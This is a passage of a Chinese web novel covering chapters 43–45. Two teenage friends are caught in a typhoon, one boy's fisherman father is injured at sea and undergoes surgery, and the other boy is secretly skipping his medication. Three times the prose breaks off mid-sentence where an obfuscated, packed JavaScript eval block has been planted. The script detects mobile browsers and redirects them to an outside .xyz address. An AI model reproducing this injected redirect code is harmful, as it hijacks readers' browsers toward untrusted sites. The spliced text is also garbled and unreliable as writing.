正走着神，齐怀生的呼吸近在咫尺——他踩着水浪走来了，来看看他画得怎样。 天地间分明白雾渺渺，陈向然却涂了一片淡蓝的天空，飞了几只白鹭、几只鸥鸟，船是小小的扁舟一叶，在海平线上飘摇。阳光是白的，比下方的浪花还白。陈向然只摹画了一些光晕，海面波光粼粼，是比天空略微深沉的色调。 他想起那幅旧画。他在齐怀生家里无意间发现的油画，记录了一个因流言走投无路的女人最终的归处。天是黑暗的，海浪是撕裂的。 所以他要为海写生。 他希望齐怀生的天是明朗的，海浪是激情的、或是温柔的，他的野性从来与这天地万物相合。他希望他永远这样自由。 齐怀生在看他的画。 目不转睛，感到连身边这个人，也好像勾勒了一圈不真实的光。 心里微微一跳，他极少见母亲创作过如此明丽的画面。陈向然画出来了，并且在海面上画了一个蓝色的“小岛”。 “这是什么？”齐怀生问。 “鲸鱼。” 鲸鱼…… 齐怀生想起那天在县里的花鸟市场，陈向然听见他的鲸鱼，捂着耳朵，十分痛苦的样子。 他皱了皱眉，没有提起这件事：“它怎么样？” “它胆小，逃跑了，从很黑很黑的海底。”陈向然露出轻薄微凉的笑，目光如蝉翼轻轻落在他脸上。 齐怀生点点头：“嗯，还有故事？” “它叫瑟尔夫，刚从海底的巨兽口中逃出来——你见过的，我把它们画下来过——它看到阳光、海面和天空，心想什么时候能到天空上看看。于是它向海豚学习跳跃，向飞鱼学习飞翔。”他在鲸鱼周围的海面上加了几笔白颜料，那是鲸鱼在海面上冲刺的波纹，“它觉得它很快就会飞起来，虽然它是一只笨重的鲸。” “嗯……想要飞翔的鲸鱼。” 齐怀生心觉有趣，细细欣赏他画了一上午的油画——厚重的白雾仿佛被他挥舞的油彩驱散了一样。因而在今后的很多个午后，想起此刻，他或许只会记得画里的晴天白云，和有故事的“瑟尔夫”。这些记忆一步一步，替代心里的阴霾，直到占据整颗心。 这是个干净明朗的下午，像他身边的少年一样。 “谢谢。”他很轻地说。 陈向然这回听见了，怔了怔，而后弯了眉眼。他踢踢浪花，用干净的鬃毛笔修饰了几笔：“你喜欢这幅画？” “你画什么都好看。”他总是这样说。 海浪轻轻柔柔地拍打双脚，像小时候入睡前母亲温柔的哄拍。 画架收起，画稿就放在沙滩岩石上，用带来的镇纸压着空白的边角。 他们在海边奔跑，脚掌撂起水花，空气里飘着晶莹的水雾，朦胧了对方的面庞。他们互相泼湿一身海水，薄薄的衣衫紧贴在身上。齐怀生到底是海边长大的弄潮儿，灵活地在浪里奔跑。陈向然被海潮绊了一跤，坐进水里，紧接着当头一淋，齐怀生泼了他整个脑袋。 水差点入了眼睛，他紧闭双眼，耳边漫过潮水声和齐怀生的笑声。有如灰茫茫的海上，灯塔悠悠地闪烁。 心里油然而生一股暖意。他感到自己属于这里，属于这里的一草一木、瓦檐、长堤和海平线，而不是那个封闭的、天空永远泛着冰冷的灰蓝色的学校，或是一个没有温度的电话。 陈向然拨开湿哒哒的刘海，攥着七分袖抹去脸上的水。舌头无意间一探，还尝到了咸味。 “你也太狠了。” “你这样像阿送。” “吃个墨鱼，还过不去了。” 陈向然不挣扎了，涉水上岸，墩坐在湿漉漉的沙滩上。沙子是深褐色的，被水粘聚成块，他两手用力一戳，就陷了进去。 “我是说，”齐怀生甩甩贴在脸上的头发，意犹未尽似的，又朝他踢了一脚海水，“你这样像猫在洗脸。” “……” 陈向然只想对他还以颜色。眼珠一转，一计顿生，伸着手说：“你跑这么久不累么？来来坐下坐下。” 齐怀生毫无防备，从海浪深处走来，踩上湿软的沙滩，在他身旁坐下。陈向然忽然露出得逞的表情，两手从沙堆里拔出，大把的沙土糊到对方脸上。 “靠……”齐怀生差点骂出声，迅速控制住在脸上乱摸的手。陈向然的手腕太细，齐怀生的手又比常人大些，一只手就能擒住。腾出一只手往他腿上埋沙。 陈向然笑着挣扎了一下：“喂，你要埋了我嘛？” 齐怀生停下埋沙的动作，抓住它两只手，把他逼得后仰：“恶作剧就要接受惩罚。明白？” “明白。”陈向然微笑，“下次还敢。” “……” 齐怀生加快了埋沙的动作。陈向然把沙子踢掉。两人反反复复对峙，谁也没打算回家去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301961|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你以后，就只打算敲钟？”齐怀生拍拍他腿上硬实的沙堆，“生活只有一件事，不无聊么？” “偶尔去山上写生，还有……”陈向然两手枕在脑后，躺了下去。 苍云从眉间游走而过，恍然间似有阳光钻过雾霭的缝隙，在大地上投下丝缕黯淡的光影。 他说：“还有，我想听你的曲子，听一首，就画一幅。像现在这样。” “哦？”齐怀生和他并排躺下，海水一遍遍冲刷他们的脚掌，“那你未来不能没有我了，对吧？不然你怎么听我曲子？” “所以我再提一个要求，你要一直写下去。”陈向然转头看他，脸颊上沾了沙土。 “你提要求，我是不是就能问你个问题了？”齐怀生用手肘撑起上半身，俯身在陈向然那张柔软的脸上。 他大约是第一次这样近、这样仔细地看着这张脸，把他的下颌、嘴唇、鼻峰乃至每一根睫毛都用目光描摹。他就像天使，柔软的睫毛是他的翅膀。因而他轻盈、脆弱，随时都要飘飞而去、离他远走一般。 陈向然也注视着他，等他问。 “你会吹萨克斯，”他恶作剧般地打顿一下，“对吧？” 陈向然如他所料地愣了愣，轻笑说：“你知道了啊。但是，你找萨克斯手干什么？认识个人而已，这么费劲。” “吹过‘你是那一尾孤吟的鲸’这首歌吧？” “比赛上吹过。咋啦？” “咋了？”齐怀生凑近他的脸，“你真是让我好找，版权费拿来。” 陈向然：“……” 齐怀生看他木呆的样子，忍不住笑出声，一边笑，一边玩味似的，盯着他瞬息万变的神情：“你欠我的，我以后跟你要。” “……多少钱，我马上付清。双倍。” “别急，我慢慢和你讨。” “不……” 反复地追逐、踏浪，累得倒在沙滩上，两个十多岁的少年撕开沉闷的岁月，像几岁小童一般玩闹。闹到黄昏时分，霞光拨开浓雾，显出涌动着金红色的海面。夕阳的倒影在海里拉扯，有如破碎流淌的蛋黄液。 这些天傍晚，天空很红，像岩浆，硬是灼红了整片起伏滚动的云层。这是台风的前兆。大量渔船从海上“呜呜”打着螺旋桨撤回码头。海岸线上霎时空旷无人——当地孩子对沿海气候谙熟于心，大的赶着小的通通回家去了。 齐怀生敏锐地觉出天色有异，把陈向然的腿从沙里刨出来，拉着人回家。 陈向然这个市区长大的小孩，还未察觉什么，就被拉着跑。背着画架，和高脚椅，在镇上的小街里穿行。 风比雨来得更早，呜呜地，从整片沿海平原上猛然掠过，吹歪海上的船只，吹弯小镇上的树木，只有中心广场的老巨榕根深叶茂，岿然不动。 轰隆一声，并非雷鸣，而是暴雨，砸在身上宛如石砾冰雹。齐怀生拉他到一户人家檐下避雨。避不过，狂风将雨泼进了檐下。 “这破天气……”齐怀生抱怨着啐了一口。 暴风雨不见收敛，反而越下越急。沿海气温也不见降低，雨是闷的、狂的，恨不得冲走整个小镇。 “陈向然，你留在这等我。”齐怀生把他推进雨檐深处，“我去去就来。” 陈向然意识到不妙，紧紧握住他的手：“这么大雨，你去哪儿？” “我看看我家的船靠岸没，这天气，船容易坏。很快回来，你好好的别出来。” 陈向然不禁摇头——齐怀生根本是在担心齐卫平，非用船作掩饰。 狂风肆虐，院落里的树枝如长鞭抽打窗棂、瓦片。这天气打不成伞，不出两步，伞面就会被风掀个底朝天。齐怀生只能冲进雨里 “你去了也无济于事。”陈向然说。 “阿生！” 听见呼喊，他们往声音的方向望去。 黎斯从海的方向疯狂奔来，他跑得极快，下巴都仰起来，黑发被雨水紧紧贴在脑袋上，最后气喘吁吁地在他们面前停下，扶着膝盖。 “阿生，快去。”他大口呼吸，“你爸出事了。” 43. 海难 齐怀生木愣在那，雨水划过脸颊，落到下巴尖。 “出什么事了？” 黎斯钻进雨檐，头发朝后一抹，甩出一串水珠：“风大，收网的时候船差点倒转。有人松手，你爸被鱼坠海里了，正捞人呢。” 天空响起一声惊雷。 陈向然感到肩上的手收紧了——他在颤抖，但他的声音还保持着镇静：“陈向然，知道家怎么走吧？” 陈向然看着他的眼睛：“我和你一起。” “雨太大，别随我去淋。”齐怀生抹了把脸，“马上回去。” 他声音坚决，不容置喙，倏然如离弦的箭拔腿奔去，差点撞了屋旁的电线杆。陈向然要追上去，肘上一疼，被黎斯生生拉住。 “阿生说别去，你就别去了。你不会驾船。” “我回去了也不安心……” 他甩开黎斯，沿着齐怀生奔去的方向跑，在只通两人的窄巷里，游水一般拍着两侧落水的土墙飞奔，距离却越拉越远。直到齐怀生的背影成了一个小点，拐了个弯，消失在小镇标志的牌坊后。 陈向然知道船回来是要去西边港湾的，他没有船，又跟丢了齐怀生，只好在码头边缘逡巡。有渔民用的是老式的木船，躲在船篷里，守着一船鱼虾蟹。许是居住的地方太远，只能在此处等风雨停歇。 寻不到人，他懊恼得一脚踢在木桩上的救生圈。 风来、雨来，浪也就来了。大浪席卷养殖场，冲刷长堤，扯破固定在铁钩上的渔网，卷进大海深处。气象浮标随着波涌剧烈晃动。 他等待自己的呼吸安静下来，才听见远处有很多人，吵闹声淹没在雨声中。齐怀生的声音掺杂在其中，他一下就辨识出来，似乎在说送医院、抢救一类的词语。但他找不见人。 狂风已至，暴雨倾盆。 县人民医院的灯光惨白黯淡。窗外风雷滚滚，大雨呼啸，就是这样的疾风和怒涛，轻易地翻动齐家的小渔船。齐怀生坐在床前注视着，若不是医生带着检查报告来了，他一步也不愿意离开。 他轻轻关上病房门，走廊骨碌碌推过一张病床，床上的人形容枯槁，辨认不出容貌。 “主要是胃污染，和这次意外事故创伤，病人平时是不是还有支气管和骨骼关节的毛病？”医生翻着病历这样问道。 “是。”齐怀生点点头。 “他不能再工作了。”医生往回翻了几页，神情肃穆，“我看他是超龄作业啊，还有过劳现象，就算不是台风，也是很危险的事情。” “我会劝他的。”齐怀生声音颤抖。 “不是劝，是阻止。”医生面露无奈，“我在这工作七八年，见过太多渔民了，都是职业病。这规定了几岁退休，本来就不能再出海了，都觉得自己还年轻呢，出去重操旧业。这么拼，唉，还有比命更重要的吗？” 医生的劝说不长，齐怀生却觉得每个字都像砸在他身上的巨石，而他仿佛站在原地引颈受戮。送走医生后，他走进病房，眼光躲闪了片刻，才深深望着病床上的人——干枯、沧桑，如朽去的木。 呼吸机“咔嗒”、“咔嗒”地响着，仪器屏幕上的生命指标高高低低地变动。 父亲一向刚硬，无论说话，还是做事。捕鱼作业干了几十年，收网的手力大无穷，年轻人都比不上这样的力量和雷厉风行。但即便是这样的人他也会老。 他的皮肤会长满皱褶，会冒着深深浅浅的老年斑，会因风吹日晒而皲裂黝黑。 齐怀生出生那年，父亲已经过了四十，算是老来得子，如今六十有余。外人总是惊叹，说他风风火火的，看不出都到这样的年纪了。只有家人知道，他的身体早衬不上六十几岁的年纪了。 齐怀生站在床边，俯下身去，看得更清楚些。 把那些皱纹、斑点，所有苍老的痕迹都收进眼里。 十多年前他骑在父亲肩膀上，抚摸着父亲的脸，再大一些，他们开始怀揣各自的心思，相互依靠又相互埋怨。少年对这样的接触感到羞赧。但这时候他忽然想抚摸一下父亲的发丝、脸颊…… 原来那个和他互相唱反调的父亲，已经这么老了。 屋里没有开灯，薄薄的窗帘轻扬，路灯的光影在帘上游走。 时间一点一滴流逝，齐怀生在床边守着，他等着那双眼睛重新睁开，像戏曲中的武生那般一瞪，继续劈头盖脸地朝他谩骂。 冰凉的银针刺进他手背的血管，透明的药液一点一点输送到他每一分血液中。他的手常年被咸腥的海水侵蚀，被烈日灼晒，覆盖着一道、一道开裂的痕迹，掌心被粗糙的渔网、铁器磨出密布的茧，失去生气，毫无血色。川字眉在沉睡中也没有舒展开，好像做着什么可怕的梦境。 “嗒”、“嗒”…… 陈向然站在门口，衣摆落下大颗的水珠。 七点半了，齐卫平的同事劝齐怀生吃点晚饭，劝不动。正好陈向然来了，就叫他进来试着劝劝。 “嗒”，陈向然仍站在那儿，不愿进来打扰。 齐怀生听见水滴声，终于抬起头来看他。他像个落汤鸡一样站在门口。半边脸被窗外路灯的光映得发红，另外一半隐没在黑暗中。 走廊切进一角苍白的灯光。 齐怀生微微抬起眼帘。 “快去换衣服。”他担忧地说着。 “你去吃饭，我就换。”陈向然说。 齐怀生烦躁地抓抓头发。守了好几个小时，终于从椅子上起身，动动筋骨。 齐怀生打开饭盒，热腾的雾气蒙住视线，酱闷茄子、蒜蓉炒包菜、腊肉，在镇上街边买的。那摊子他认识，回港的渔民都爱在那吃，就近，便宜。但比起自家手艺还是粗糙，只勉强应付一顿。 却发现没有地方吃饭。 住院部人满为患，折叠床一张连着一张，横七竖八打满整条走廊，都是病人家属。这些人每隔十五分钟醒来看看情况，又再度躺下。两眼空洞、疲倦，面色蜡黄，透露着那些悄无声息的艰苦和无奈。这个点才吃饭的人也很多，有人坐病床上吃，有人靠墙站着吃。饭菜的气味混杂在一起，充斥整个楼层。 走廊一头传来恳求和痛哭声，医患的对峙声，但走廊里没有人往那边瞟上一眼。他们眼前还有不能自理的老人、哭闹的小孩和需要呼叫护士的亲人。自扫门前雪，无暇顾及他人院。齐怀生面无表情，转身背对一切人间生死病苦。他去另一头的落地窗，和一群陌生人坐在地上，倚着墙根，曲着一条腿吃盒饭。 他一手要拿筷子，一手要拿处方笺——处方笺背后粘贴着收据，收据是复写纸，很薄，一不小心就会裂开。临时买来的衣裤没有口袋揣东西，他小心翼翼握着纸张，调整了一下姿势，盒饭扶着吃。 陈向然跟过来时穿着一件白色套头衫，和蓝色短裤。医院门口买的，都是均码。他坐在齐怀生身边，盘起腿，轻轻贴着他膝侧。 “怎么样了？”他问。 齐怀生艰难地咽下一口干饭，像是不想和陈向然对视，只盯着饭菜，声音闷闷的：“他不能再出海了。”饭里有肉汁，他顺手拌了两下，“我早跟他说过的。” 不知是不是错觉，陈向然听见他哽咽了，喉头滑动了一下，筷子快速翻搅包菜和白饭，连菜带饭扒进嘴里。 他鼓着嘴大口咀嚼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301962|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包菜条从唇边垂下一截，眼眶越来越红。 “你回家吧。”他声音哑得不成样子，“不回就去那边等。”他指着齐卫平的同事刚刚等着的地方。 “陪你。” “不必。” 他眼眶更红了，陈向然张了张唇，没说什么。站起来，拍拍裤子上的灰：“那你要好好吃完。” “我保证。” 齐卫平的同事通知了姑姑。她今天忙得晚，也正和奶奶吃着晚饭。一口饭还没咽下去，就着急忙慌的，一个电话打到齐怀生手机上。 “医生怎么说？”连称呼都省了，电话里听见她嘬嘬的咀嚼声。 “天气突变，没控制好船。”他脖子夹着手机，扣上泡沫盒，“加上他平时在远海过夜，吃生食，胃污染……” 他听了话，吃了个一干二净，盒里只剩了点汤汁，盒边夹着一次性筷子。 姑姑听着听着，火气就上来了：“我说你这孩子，怎么没早点通知我？” “抢救，哪有心思跟你说。”齐怀生咀嚼着最后一口菜，端着泡沫盒站起来。 垃圾桶下午还是空的，清洁工刚刚清理过，只一个傍晚，饭盒、泡面盒、一次性筷子和包装纸堆成了山，扔都没地方扔。他找个相对平稳的角度，把自己的饭盒轻轻叠在顶部。 电话那头有椅子拖拉的噪音，姑姑飞快地说了声“我先走了”，是对奶奶说的。奶奶的声音远些，藏在窸窣的杂音里。 “吃完再去，吃完再去。怎么不听话呢，你们哪个我不心疼？” 奶奶苦口婆心。姑姑利索地挂掉电话，看样子饭都没吃完，就急匆匆要上医院来。 齐怀生默默放下手机，望着落地窗外星星点点的灯火，家犬嚎叫，小儿啼哭。 “齐怀生。”陈向然忽然跑来，声音里似有喜悦，“快来看看。” 齐怀生忽觉眼前一丝光亮。 齐卫平醒来了。两人赶到时，他眼皮微微颤动，渐渐恢复呼吸，手颤巍巍抬起，要拿掉口鼻上的呼吸罩。护士替他取下，他才缓缓睁开眼，无神地歪了歪头，看了眼儿子。 相顾无言。 “平伯……”陈向然叫了他一声。 齐卫平视线一偏，看见他，脸上的褶皱动了一动。似乎想对他笑。 他伸手，不知想握住谁。齐怀生接住了，一只枯瘦、苍老的手和一只年轻有力的手掌心相贴。齐卫平缓缓蜷起手指，回握了儿子。 突然一阵抽搐。 齐怀生握得更紧：“怎么了？” “让开让开。” 护士将他们从病床边赶开，把人团团围住。他反倒不抽搐了，捂着胸口，撑着要从床上起来。齐怀生眼疾手快，拿了个临时买的脸盆，接住父亲的呕吐物。 肢体间歇性抽搐，还出现呕吐的症状。他的躯体症状稳定后，几个医生围着他检查记录。问过他的同事，才知道当时船体剧烈摇晃，加上网中鱼群拖拽，齐卫平摔下海时，头部撞击到船舷，造成颅腔内出现血肿。 CT、手术，一个少不了。 住院费、体检费、手术、术后护理，都是费用。 齐怀生就坐在外面。 灯光把他的脸映得苍白。他弓着背，浑身紧绷着，好像稍一放松，头上的刀就会落下来，父亲就要离他远去一般。 苦难像是长在他身上，他被其吸食.精神，与它共生。陈向然多想立刻替他分一些重担，就像他曾经带他上山下海，劝他休息劝他看医生那样。 但陈向然此时只能挨着他，给他一点微不足道的温暖，说：“别怕。” “我永远在。” 44. 担当 姑姑这时候赶过来了。 这个女人来的时候火急火燎，到病房门口，急赤白脸的像要和人吵架，医生本能地以为遇上闹事的家属，先是吓了一跳，而后拿出安抚情绪的看家本事来。发现不过是个急性子，才把情况慢慢说来。 和医生交流了几句，她就拎着齐怀生的袖子到走廊里，不顾旁边还站着个陈向然，两手叉腰，劈头质问：“你瞒了我什么？” 齐怀生扯扯袖子：“靠，我瞒什么了？” “怎么手术了？” “血肿。你急了有用？” 声音喑哑断续。姑姑发觉什么，左右细察，伸手要碰他眼睛：“哟，没哭吧？跟你爸不挺拧的？” “没。”齐怀生躲开了。 方才以为快要忍耐不住，支开了陈向然，但终究忍住了，眼眶边余留一缕微红。 细细一想，打十岁以来，没有他忍不住的眼泪。 “你带陈向然回去吧，我守就好。 “唷，你守？” “对，我守，那是我爸。” “那还是我哥呢。”姑姑矮他一头，拧他耳朵都是朝下拧的，“你这逞英雄的毛病什么时候能改？你俩马上给我回家，小孩子守什么夜？” 她怒气冲冲地把两人一齐推向电梯口，那双手举过锤、抗过锹，力气堪比男人，把他俩往电梯里一推。 “明早也别闲着，来换我班。”电梯门缝里的姑姑挥着手这样说。 门关了，齐怀生还是迟迟没有按一楼。 “别担心。”陈向然伸手摁下，“你姑会想办法的。” 齐怀生一直瞪着电梯门，双目炯炯，仿佛姑姑还在那门后一样：“我就怕她想办法……” 陈向然没有明白他的意思：“为什么？” 他不再说了。 小县城的路不像大城市那样宽阔、横平竖直，公交车要经过三个弯道、两个三岔路口，在狭窄的双车道马路上钻行。摩托车、自行车不时从角落里窜出来，还夹着几辆遗留的老式三轮车，公交车举步维艰，频繁刹车，陈向然晕乎乎靠在椅背上。 窗户是开着的，晚风夹杂白天的暑气，呼啦啦从窗口灌进来。陈向然吸进一口冷热交杂的风，忽然打了个喷嚏。 不出几秒，又打一个。 “怎么了？”齐怀生一看他脸色，手捂上他的额头，试试温度。 齐怀生小时候也是个病秧子，久病成医，对感冒症状一眼便知。后来出外海，运海货，被塘泽的风和浪锻炼出一副劲瘦结实的躯体。不似陈向然，在钢筋水泥的世界里长大的。 “晒个太阳淋个雨就不行了，少爷。”齐怀生调侃道。 “没事儿。”陈向然撇开他的手。 “别动。”齐怀生严厉起来总带着压迫感。 温热的掌心压在他额头上，向下滑动，摸摸他的脸，又探了探脖子的温度。公交车摇摇晃晃，窗外路灯、店铺、广告牌的灯光掠过他的脸庞，脸色时明时暗。 陈向然再次撇开他的手，声音微弱又含糊：“真的，回去睡一觉就没事了。我总是……给人添麻烦，我不想……不想……” 他的声音渐渐弱下去，直到再没有力气出声。 齐怀生已经很难了，自己怎么能再当他的累赘？ “不是你说了算。”齐怀生斩钉截铁，“呼”地关上车窗，把他的脑袋摁在肩上。 陈向然不大记得后来是怎么回去的，只记得这晚天很黑，长街里的灯笼红彤彤的，千家灯火暖融而明亮。他偶尔从昏沉中醒来片刻，眼前一片乌黑，脸贴着的皮肉是热的、湿润的，一颠一颠地前进。 齐怀生把他背回了家。陈向然忘了一路停下来休息了几次，只知道齐怀生没有放开过他，背着、扶着、搂着，耳边的喘息声没有停过。齐怀生的后背是湿的，汗涔涔的，背肌有节奏地舒张，结实有力。 到家时，奶奶正好从屋里出来。看见两个孩子一个昏睡一个汗流浃背，心疼得直皱眉，让他们收拾收拾，赶紧休息。 这一天惊心动魄的，齐怀生大约是面色很难看，见到奶奶更抑不住情绪。奶奶眯着一双老花眼朝他走近来，说：“没事，做得很好。”苍老厚重的手掌握住他的双手。 齐怀生仍在低喘。陈向然睁开一半眼皮，朦胧中正看见不知哪来的光亮在他眼中游弋、流转。他眼里仍有火，像他们第一次见面那样，在夜里燃烧。 奶奶又说：“照顾你爸，照顾朋友，好孩子。” 陈向然听见他“嗯”了一声，仿佛夹着哭腔。奶奶上来拥抱自己的孙子。说别怕，浪来了，有沙土埋去，人生有坎儿，过去就好了。念叨那些老辈人传下来的朴素道理。 老人沧桑的嗓音总像是有魔力，让人莫名的安心。可分明奶奶也因这一天，不像以往一样早早睡去。 陈向然又一次昏了过去。 梦里的雀儿扑棱两扇翅膀，遇见了另一只小雀。它们那样相似，残破的、脏兮兮的羽毛，像照见镜中的自己。栏杆的阴影将五彩的羽毛用黑白分割，它们各自囚困，又两相眷顾。 他醒来时一身冷汗，身下是清凉的竹席，耳边回荡温柔的唠叨和责怪，还有水声——齐怀生拧干毛巾，叠成块，敷在他额头上 “叫你别跟来，这下好了。” 迷迷糊糊的，夜的微光和齐怀生的影子在眼前晃动。他错觉回到小时候，父亲啧啧地抱怨，母亲围着床铺，焦急地同父亲商量。他的烧退不下来，急坏了父母。那时他们还为了他，为了同一个目标而团结一致。 那时候的责骂是有温度的。 月上梢头，如一轮.盘玉挂在厝角。 一直到半夜，齐怀生都没有睡着。他翻来覆去，看着陈向然的睡脸出神。 又担心把人吵醒，干脆起了床，到院里干坐着。 风雨留下满地残枝败叶，地上铺了一层浅浅的雨水，沙土被冲散了，在水面上轻轻打着转。 他抬头，想把脑海中的忧虑都赶走。 蝉鸣四起，晚风如绸。 过几天就是中元节，是祭祖的节日。以前隆重的祭祖仪式现在渐渐被遗忘了，祭奠的只有往上两代过世老人。每年齐卫平都会操持一切，今年本打算请黎斯他们来唱两曲，简简单单的仪式，便算念过爷爷和太.祖父母了。 但齐卫平倒下了。他回想起来，父亲每一次强势的举动都带着颤巍，那个刚直的背影因为背负海货一天天地佝偻下去，他发现原来鸡毛蒜皮、生活琐事是这样一点一点、无形之中消磨一个人的。 父亲担当了那么多事。他想，现在这些事理所应当的，都要由他来接手。 他打开院门，在门口灯笼下抽了根烟。灯笼殷红闪烁，流苏随风微扬。 他等风散去一身烟味，才回到东厢房。 陈向然坐在床上，盯着冷白的月光从门槛上，水一样地，流淌到屋里来。齐怀生没睡着，他也睡不着。他望见一个背光的人影从外面回来。两人原地看着对方，怔了一会儿。齐怀生叹着气走到床边，吱呀一声，坐上床来。 “睡不着？” “嗯。”陈向然咳嗽两声，在黑暗中挪到他身边，“别担心，平伯不能工作，一定还有别的方法。我也会帮你的。” “帮什么？” “你的……”他迟疑了一秒，“学费。” 齐怀生沉默须臾。 “我担心的不是这个。”他抓着头发，“还有很多很多问题。很多很多……他现在只是暂时脱离生命危险，可医生没说不用担心了，没问题了。” “但一切只能等天亮再说。你姑姑会处理好的。” “你病了，怎么还没睡？我吵着你了？” “没有……” “药吃了么？” 陈向然不说话了。 他偏开头，躲开齐怀生的眼神。看向桌子、衣橱、面盆架上的毛巾，望着肚皮缓缓起伏的阿送，就是不看齐怀生。 齐怀生看着他时，整张脸背着门口的月光，更显得严肃和冷峻：“药放在哪？” 陈向然叹了口气，挪下床，从包里拿出医院开的药。刚拿出来就被一只手生夺去。齐怀生翻转着看他的药——一整版药片压根没动过。 齐怀生的脸色更难看了：“你——” “对不起。”陈向然瑟缩着道歉。 他缩回床上去，双脚都蜷起来了，两臂环抱住脚踝，看上去瘦小可怜。 “可能是误诊。所以我没吃。”陈向然垂着眼帘，视线仍在躲闪， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301963|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我没怎么，我只是懒，只是不想学，老是想出来玩。” “你是医生？都懂了，还要医院干嘛？”齐怀生抑制住急躁，深深吸了口气，叹气道：“我以为你主动看病了，就会主动吃药，是我想错了。” 台风过后的夜里，满地潮湿、凌乱、残败，破碎得寂静无声。 陈向然偷偷瞄齐怀生的脸色。他不信任药物，甚至不相信医生。他知道齐怀生会生气。所以被问起药效时他总是用同样的答案敷衍了事。可没吃安眠药就骗不过了。 齐怀生那么聪明。 他明明不想齐怀生生气，不想看到他蹙着眉心，那么苦闷又为难的样子，好像下一秒就要点上一根烟。但是自己那么不知轻重，他今天已经累坏了，还要不停地往他肩上叠加重担。 他的想法总是无声地刺向自己，捅进去，拔.出来，再捅进去，再拔.出来……像一套自动运行的程序，近乎习以为常。 他瞄了半晌，终于下决心一般，按照药单上的药量兑水服用了。 齐怀生一直看着他吃下去，才挪开视线。 “会好的。”他不知是说给陈向然听，还是说给自己听，“坚持下去，就会好的。” 姑姑从零零碎碎的腰包里凑到钱，终于促成一场手术。手术很成功，齐卫平转进了普通病房。一切似乎十分顺利，挽回一条生命就是最大的喜事。 可是，陈向然想，生命终于留存在这世上之后，也许只是要继续历经苦劫罢了。齐卫平不再能支撑起家庭，齐怀生不知该往何处去。 他想起某个雨夜，谭持和李荧，他的两位朋友也是这般冒雨前行，举着外套，背着山一样的医疗费，不掩饰眼泪和笑容。那时他也不知道他们能去向何处。 陈向然感冒散去的这天，他终于看到齐怀生下颌线不再紧绷，也不再紧锁眉头，像是冰河入春，化水而流，脸色总算恢复一些生气。 陈向然笑着拍打他：“你爸手术成功了，这两天还臭着脸。” 齐怀生捏住他的脸：“那是因为谁啊？嗯？” 陈向然倒吸冷气：“疼疼疼，松手松手……” 这松快日子还过不了一天，到了傍晚，齐怀生又一个人在那生闷气。被陈向然挨着挠着，脸色才稍微好点，说姑姑一个人成天跟住在医院似的，昨晚甚至睡在了住院部。医院只让一人陪护，齐怀生要她回来换人，她骂回来，说什么都不让。 还是那句话，小孩子别老沾医院。 某个一米八多的“小孩子”脸一沉，电话一挂，晚上就睡不着了。 陈向然老毛病依旧。一颗安眠药延长了睡眠，凌晨五点醒来，再不能睡着。醒来时齐怀生不在身边——他在门外，站在院子里吞云吐雾。另一只手举着手机，在接电话。 他这种时候便是想一人待着的，陈向然想。 他有时感到怪异，又有些奇妙，好像他们站在对方面前都是透明的，每一丝血流，每一寸思想，都毫无遮掩地敞开给对方。他静静地等着齐怀生抽完烟，打完电话，踩着一地积水断枝，跨过门槛。 四目相对。 许是怀疑他没吃药，齐怀生顿停须臾，想起是自己看着他吃药的，才沉默着走进来。 吱呀一声，陈向然在黑暗中感到床垫微微塌陷。 “陈向然……”他声音湿润，又很哑，像风摇曳池塘的水声，“我送你回去，好不好？” 陈向然望着他背影轮廓。 他如果回去，就又要面对那间满是遮尘布和蜘蛛网的冰冷的房子，风冷飕飕地撩起纱帘，百多平米空荡荡的房间，墙上巨大又扭曲的影子…… “为……为什么？” “事情不对。”他开始烦躁，手习惯性地去摸口袋——那里面是空的，他没有摸到香烟，“她去医院的时间，一天比一天长。我刚才还听到心跳监测的声音，他不是去普通病房了吗……” 陈向然倏然又有种被抛弃的预感，手紧紧攥着床单：“那和我回不回去有什么关系？” “你不能再跟着我了。” 一句话背后似有千重理由，但齐怀生仍旧不爱解释。也或是解释起来太过繁杂，他一时下的狠心太容易被瓦解。 夏夜闷热，陈向然却觉胸口血液凝结。 45. 凑钱 齐怀生一大早就要去医院。 不到六点钟，天光刚刚露头，灰蒙蒙的，尚能听见几声鸡叫，他就翻身下床，收拾细软，从厨房叼了一块冷馒头，蹲在门口绑鞋带。 陈向然揉揉眼睛，目光如轻盈的蝶翼，不停追随他。只见他踩了踩鞋底，确认鞋带紧了，两手一插兜，手机揣进口袋，就要出门。 他手忙脚乱地下床，拖鞋也没撂上，抓着一头乱发，跌跌撞撞地叫住他。 那个背影止在门口。灰白的光线自东而来，四折门在他身上斜斜地投下格栅的影子。 